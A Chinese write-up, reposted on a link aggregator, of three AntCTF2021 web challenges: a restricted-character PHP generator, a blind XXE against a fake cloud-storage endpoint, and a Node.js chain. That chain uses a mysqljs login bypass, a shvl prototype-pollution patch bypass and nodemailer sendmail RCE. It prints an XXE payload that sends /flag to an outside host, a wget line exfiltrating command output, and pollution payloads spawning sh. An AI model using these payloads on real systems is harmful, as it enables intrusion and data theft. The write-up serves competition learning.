0

AntCTF2021 部分WP

 2 years ago
source link: https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20210309-ant2021.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

AntCTF2021 部分WP

AntCTF结束了,抱群里大腿,战队拿了第15名,TLS流啤。这次AntCTF的质量较高,学到了一些东西,在这里记录一下做题过程中相关的思路。

shellgen2

  • 编写一个python脚本,输入任意的小写字符串,输出一个可执行的PHP脚本,要求该脚本输出之前输入的小写字符串,并且除了php标签外,只能使用0-9$_;+[].=<?>中的字符;输出的PHP脚本要尽可能的短。waf具体的描述:
def waf(phpshell):
if not phpshell.startswith(b'<?php'):
return True
phpshell = phpshell[6:]
for c in phpshell:
if c not in b'0-9$_;+[].=<?>':
return True
else:
print(chr(c), end='')
return False
  • 题目乍一看,是要求写一个能够较灵活生成php的生成器,而且只有很少的字符可用。在这里分为输出、变量储存、字符生成三部分来分析:
  1. 输出:考虑使用<?=短标签输出字符串。
  2. 变量储存:为了使生成的PHP脚本尽可能短,首先使用09_字符构建变量名储存生成的a-z字符,在这里可以采用09_的所有排列来进行储存,类似于字典,以最大限度缩短payload。需要注意的是,只能将_放在第一位。
  3. 字符生成:为了生成a-z,使用两个[]字符串拼接得到ArrayArray,然后用0自增到3以取到其中的a;再使用自增得到字符a-z。

最后的python脚本为:

input_a=input()
beg='''<?php $_=[].[];$_999=0;$_999++;$_999++;$_999++;$_=$_[$_999];$____=$_;'''
par='_09'
let_dic={}
for i in range(3):
for j in range(3):
for p in range(3):
let_dic[chr(97+p+j*3+i*3*3)]="$_"+par[i]+par[j]+par[p]
keys=list(let_dic.keys())
let_dic[keys[i]]+'=$_;'
for i in range(25):
beg+='$_++;'+let_dic[keys[i+1]]+'=$_;'
beg+='?><?='+let_dic[input_a[0]]
for let in input_a[1:]:
beg+='.'+let_dic[let]
beg+=';'
print(beg,end="")

有一点坑的地方是,原题目没有说具体后台的执行过程,如果仅看题目给的waf信息,在PHP头的地方会不能正确解析(直接截断了 <?php ),在这里卡了很长时间,此处暴打出题人,很坑爹。

real_cloud_storage

  • 这道题过程很简单,但是有些细节比较坑,还有对服务端和客户端的运行过程的合理猜测。
  • 一个上传页面,说是把储存放在了云上,就没有危险了:)传一个马试试,发现上传过程设置了上传的储存urlendpoint,可以设置为任意URL:
POST /upload HTTP/1.1
Host: fn10051969.serverless.cloud.d3ctf.io
User-Agent: xxx
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://69889ba1b2.real-cloud-storage.d3ctf.io/
Content-Type: application/json
Origin: http://69889ba1b2.real-cloud-storage.d3ctf.io
Content-Length: 82
Connection: close
DNT: 1
Sec-GPC: 1
{"endpoint":"xxx_url","key":"xxx","bucket":"xxx","file":"xxx"}

开始的时候没啥头绪,尝试直接访问oss,发现返回了XML。猜测客户端将文件发送到oss,之后oss返回的XML会被客户端解析,所以可能有XXE。

直接一波老生常谈的XXE盲打(oss伪造服务器使用https://requestrepo.com/搭建, Content-Type 改为 application/xml ,注意!要把状态码改为404,因为原oss就是返回了404,否则客户端不会解析XML):

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % dtd SYSTEM "http://xxx/data.dtd">
%dtd; %payload; %send;
]>
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://xxx/?data=%file;'>">

把endpoint改为requestrepo的url之后在apache日志中找到flag:

8.210.87.229 - - [09/Mar/2021:16:10:44 +0800] "GET /?data1=d3ctf{2158ba78921c668b152584deb052f5152e33e943}|only cluster" 400 0 "-" "-"

8-bit pub

  • 这道题是综合性比较强的题,整个污染链比较有意思,用一个第三方小众库的0day结合nodemailer的一些特性和内部代码进行RCE,并且由于环境具有很多限制,需要多次尝试原型链污染的过程。
  • 整个题的知识点有:
  1. mysqljs与nodejs的特性绕过参数绑定的SQL查询。
  2. shvl库的漏洞修复commit的绕过。
  3. nodemailer的原型链污染执行链挖掘。
  4. nodemailer文档学习和利用。

题目功能点

题目给了源码,可以直接本地搭建,题目功能比较简单,注册、登陆、管理员功能页面。在最开始的时候,题目是可以直接注册admin用户的,后来被修复。

参数绑定的绕过以及万能密码

由于nodejs对json请求会直接解析的特性,我们查阅文档并注意到https://github.com/mysqljs/mysql#escaping-query-values中写到:

Objects are turned into key = ‘val’ pairs for each enumerable property on the object.

我们找到源码 modules\users.js 中:

signin: function(username, password, done) {
sql.query(
"SELECT * FROM users WHERE username = ? AND password = ?",
[username, password],
function(err, res) {
if (err) {
console.log("error: ", err);
return done(err, null);
} else {
return done(null, res);

此处如果传入json:

{"username":"admin","password":{"password":1}}

mysql语句将会把password解析为 key-value 键值对,从而绕过登录:

SELECT * FROM users WHERE username = 'admin' AND password = `password` = 1 ;

nodemailer库文档学习,任意文件读取

登录admin之后,进入admin功能页面,是一个向外发送邮件的功能,这里需要去查nodemailer相关的文档,可以向任意邮箱发送带有附件的邮件。其中,有两种方法都可以把服务器的文件发送出来,达到任意文件读取的目的:

  1. https://nodemailer.com/message/,text参数如果是path:xxx键值对,就可以将文件内容以文本形式发送给任意邮箱:
text - The plaintext version of the message as an Unicode string, Buffer, Stream or an attachment-like object ({path: '/var/data/…'})
  1. https://nodemailer.com/message/attachments/attachments参数可以直接把文件当作附件整个发出:
attachments: [
...{ // file on disk as an attachment
filename: 'text3.txt',
path: '/path/to/file.txt' // stream this file
{ // filename and content type is derived from path
path: '/path/to/file.txt'

shvl原型链污染漏洞patch的绕过

整个admin的代码很简单,就是一个参数设置与一个邮件发送:

const send = require("../utils/mail");
const shvl = require("shvl");
module.exports = {
home: function(req, res) {
return res.sendView("admin.html");
email: async function(req, res) {
let contents = {};
Object.keys(req.body).forEach((key) => {
shvl.set(contents, key, req.body[key]); //将contents的key对象设置为key对应的值(post传入 key=value)
contents.from = '"admin" <[email protected]>';
await send(contents); //漏洞触发点?发送邮件
return res.json({
message: "Success."
} catch (err) {
return res.status(500).json({
message: err.message

注意到 shvl 库的使用,很像是原型链污染,直接在github翻到:https://github.com/robinvdvleuten/shvl/issues/34,说到 2.0.1 版本有原型链污染,但是这道题是 2.0.2 ,已经修复了漏洞,我们看一下修复patch,检查了有没有 __proto__ 字符串:

patchpatch

然而可以轻松绕过,见NodeJS - proto & prototype Pollution

something.constructor.prototype.sayHey = 123;

原型链污染链挖掘与艰难的绕过

根据源码,原型链污染之后就是发送邮件的操作,找到nodemailer库里的 node_modules\nodemailer\lib\sendmail-transport\index.js 注意到:

const spawn = require('child_process').spawn;
sendmail = this._spawn(this.path, args);

注意在 node_modules\nodemailer\lib\nodemailer.js 中,如果要执行到 spawn 语句,需要先污染 options.sendmail=ture

if (options.pool) {
transporter = new SMTPPool(options);
} else if (options.sendmail) { //注意这里
transporter = new SendmailTransport(options);
} else if (options.streamTransport) {
transporter = new StreamTransport(options);
} else if (options.jsonTransport) {
transporter = new JSONTransport(options);
} else if (options.SES) {
transporter = new SESTransport(options);
} else {
transporter = new SMTPTransport(options);

好家伙,这spawn不是直接命令执行,查一下 spawn语法

child_process.spawn(command[, args][, options])
const {
spawn
} = require('child_process');
const ls = spawn('ls', ['-lh', '/usr']);

跟python的subprocess类似,需要传list的参数。 this.path 能够直接污染,追一下 args

if (this.args) {
// force -i to keep single dots
args = ['-i'].concat(this.args).concat(envelope.to);
} else {
args = ['-i'].concat(envelope.from ? ['-f', envelope.from] : []).concat(envelope.to);

args 需要对 ['-i'] 进行拼接,这里就比较坑了,如果不符合语法,就会执行失败,现在我们需要找到一个命令,格式为: xxx -i xx xx xx 。这个地方卡了比较久,最后群里大师傅用了 sh -i -c 'xxx' ,能够执行命令。

开始的时候,尝试用bash反弹shell,结果返回 spawn bash ENOENT ,网上说是因为命令不存在导致:

does not existdoes not exist

没有bash就不太好反弹shell了,此外,环境还有其他各种限制,看hint: PS: Try to execute /readflag ,结合之前sendmail的任意文件读取,可以先把执行结果写入文件,再把文件传到邮箱里。

先发post包执行命令:

"subject": "test",
"text": "xxxx",
"constructor.prototype.sendmail": true,
"constructor.prototype.path": "sh",
"constructor.prototype.args": [
"-c",
"/readflag>/tmp/1"

sendmail读文件:

"subject": "read file",
"text": {"path": "/tmp/1"}

邮件给flag:

flagflag

其他的解法

看其他战队的WP,发现还有其他的解法,可以使用dnslog、污染shell参数等。

dnslog

"constructor.prototype.sendmail":true,
"constructor.prototype.path":"sh",
"constructor.prototype.args":[
"-c","wget ip/`/readflag`"

污染 shell 参数

"constructor.prototype.sendmail": 1,
"constructor.prototype.shell": "/bin/sh",
"constructor.prototype.path": "/readflag > /tmp/jjjjjjjjJrXnm",
"constructor.prototype.args": [""]

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK